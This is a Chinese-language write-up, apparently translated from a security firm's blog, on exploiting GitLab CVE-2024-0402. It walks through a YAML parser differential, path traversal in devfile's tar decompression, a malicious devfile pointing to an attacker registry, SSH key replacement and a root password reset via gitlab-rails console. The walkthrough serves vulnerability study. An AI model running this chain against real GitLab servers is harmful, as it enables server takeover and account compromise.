GitLab CVE-2024-0402漏洞利用全解析:从YAML解析差异到任意文件写入

本文详细分析了GitLab CVE-2024-0402漏洞的完整利用链,包括YAML解析器差异绕过验证、devfile父组件引用机制、路径遍历实现任意文件写入,最终通过SSH密钥替换获得服务器访问权限的全过程。

引言

Doyensec在地中海游轮公司团建期间,通过黑客会议分析真实世界漏洞,形成了!exploitable博客系列。在第一部分中,我们涵盖了IoT ARM漏洞利用的旅程,第二部分则跟随我们尝试利用《黑客帝国:重装上阵》中Trinity使用的漏洞。

在本期中,我们将深入分析GitLab中CVE-2024-0402的漏洞利用。就像洋葱一样,这个漏洞总是有另一层表面之下,从YAML解析器差异到解压缩函数中的路径遍历,最终实现在GitLab中的任意文件写入。

背景信息

此漏洞影响GitLab工作区功能。简而言之,它让开发人员能够即时启动集成开发环境(IDE),其中包含所有依赖项、工具和配置。

整个工作区功能依赖于多个组件,包括运行的Kubernetes GitLab Agent和devfile配置。

Kubernetes GitLab Agent:将GitLab连接到Kubernetes集群,允许用户启用部署过程自动化,并更轻松地集成GitLab CI/CD流水线。它还允许创建工作区。

Devfile:这是一个定义容器化开发环境的开放标准。它使用YAML文件配置,用于定义特定项目所需的工具、运行时和依赖项。

漏洞分析

YAML解析器差异

GitLab使用devfile Gem(当然是Ruby)调用外部devfile二进制文件(用Go编写),以在特定存储库中的工作区创建期间处理.devfile.yaml文件。

在工作区应用的devfile预处理例程中,特定的验证器validate_parent被GitLab中的PreFlattenDevfileValidator调用。

1
2
3
4
5
def self.validate_parent(value)
  value => { devfile: Hash => devfile }
  return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
  Result.ok(value)
end

但什么是parent选项?根据Devfile文档:

如果指定了父devfile,给定的devfile将从其父级继承所有行为。仍然可以使用子devfile覆盖父devfile的某些内容。

作者为我们提供了一个新的技巧。在YAML规范中:

  • 单感叹号!用于自定义或应用程序特定数据类型
  • 双感叹号!!用于内置YAML类型

他发现本地YAML标签符号!仍然在Ruby yaml库中激活二进制格式base64解码,而Go的gopkg.in/yaml.v3只是丢弃它,导致以下行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜ cat test3.yaml
normalk: just a value
!binary parent: got injected

### 在解析版本中添加了有效的parent选项(!binary被丢弃)
➜ go run g.go test3.yaml
parent: got injected
normalk: just a value

### 作为Base64解码值的无效parent选项(!binary被评估)
➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'
{"normalk"=>"just a value", "\xA5\xAA\xDE\x9E"=>"got injected"}

因此,可以通过validate_parent函数向GitLab传递带有parent选项的devfile,并在devfile二进制执行中到达它。

任意文件写入

此时,我们需要切换到在devfile二进制文件(Go实现)中发现的错误。

在查看依赖项的依赖项之后,研究人员找到了decompress函数。该函数从注册表的库中获取tar.gz存档,并将文件提取到GitLab服务器内部。然后,应将它们移动到部署的工作区环境中。

以下是getResourcesFromRegistry使用的易受攻击的解压缩函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
    var returnedErr error

    reader, err := os.Open(filepath.Clean(tarFile))
    ...
    gzReader, err := gzip.NewReader(reader)
    ...
    tarReader := tar.NewReader(gzReader)
    for {
        header, err := tarReader.Next()
        ...
        target := path.Join(targetDir, filepath.Clean(header.Name))
        switch header.Typeflag {
        ...
        case tar.TypeReg:
            /* #nosec G304 -- target is produced using path.Join which cleans the dir path */
            w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            /* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */
            _, err = io.Copy(w, tarReader)
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
            err = w.Close()
            if err != nil {
                returnedErr = multierror.Append(returnedErr, err)
                return returnedErr
            }
        default:
            log.Printf("Unsupported type: %v", header.Typeflag)
        }
    }
    return nil
}

该函数打开tarFile并使用tarReader.Next()遍历其内容。仅处理tar.TypeDirtar.TypeReg类型的内容,防止符号链接和其他嵌套利用。

然而,行target := path.Join(targetDir, filepath.Clean(header.Name))容易受到路径遍历攻击,原因如下:

  • header.Name来自devfile注册表提供的远程tar存档
  • 已知filepath.Clean无法防止相对路径上的路径遍历(../不会被删除)

结果执行将类似于:

1
2
3
4
5
6
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // 绝对路径
fmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // 相对路径

// 输出
/tmp/test
../../../../../../../tmp/test

漏洞链连接

  1. devfile库中从远程注册表获取文件的解压缩问题允许包含恶意.tar存档的devfile注册表在devfile客户端系统内写入任意文件
  2. 在GitLab中,开发人员可以制作一个bad-yet-valid的.devfile.yaml定义,包括parent选项,这将强制GitLab服务器使用恶意注册表,从而在服务器本身上触发任意文件写入

利用此漏洞的要求:

  • 以能够向存储库提交代码的开发人员身份访问目标GitLab
  • 在GitLab实例上正确配置了工作区功能(v16.8.0及以下版本)

利用过程

环境配置

要配置GitLab中的工作区:

  1. 遵循GitLab 16.8文档页面,而不是最新版本
  2. 修补缺失的web-ide-injector容器镜像
  3. GitLab Agent必须具有remote_development选项以允许工作区

构建恶意devfile注册表

需要部署自定义devfile注册表,通过以下步骤使其恶意:

  1. 将包含路径遍历的.tar文件放置在注册表项目中:malicious-registry/stacks/nodejs/2.2.1/archive.tar
  2. 创建适当的index.json来提供服务
  3. 运行恶意devfile注册表

触发漏洞

一旦目标GitLab实例可以访问正在运行的注册表,只需以开发人员身份在GitLab中进行身份验证,并编辑存储库的.devfile.yaml以通过利用之前显示的YAML解析器差异指向它。以下是可使用的示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"

要触发文件写入,只需在编辑的存储库中启动新的工作区并等待。

权限提升

获得任意文件写入能力后,可以替换SSH授权密钥文件:

  1. 创建包含非受限密钥的新.tar文件
  2. 替换恶意devfile注册表中的archive.tar
  3. 重建其镜像并运行
  4. 通过在GitLab Web UI中创建新的工作区再次触发漏洞

成功后,可以SSH作为不受限的git用户,并可以更改GitLab Web root用户的密码:

1
2
3
4
5
6
7
8
➜ ssh -i ~/.ssh/gitlab2 git@gitinstance.local
➜ git@gitinstance.local:~$ gitlab-rails console --environment production
irb(main):002:0> user = User.find_by_username 'root'
irb(main):003:0> new_password = 'ItIsPartyTime!'
irb(main):004:0> user.password = new_password
irb(main):005:0> user.password_confirmation = new_password
irb(main):006:0> user.password_automatically_set = false
irb(main):007:0> user.save!

结论

我们成功构建了CVE-2024-0402的PoC,尽管存在时间和连接限制。这再次证明,由于配置时间限制,只有少数人冒险的地方可以找到非常好的错误。

这个漏洞链展示了从YAML解析差异到路径遍历实现任意文件写入的完整过程,最终通过SSH密钥替换获得服务器访问权限。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计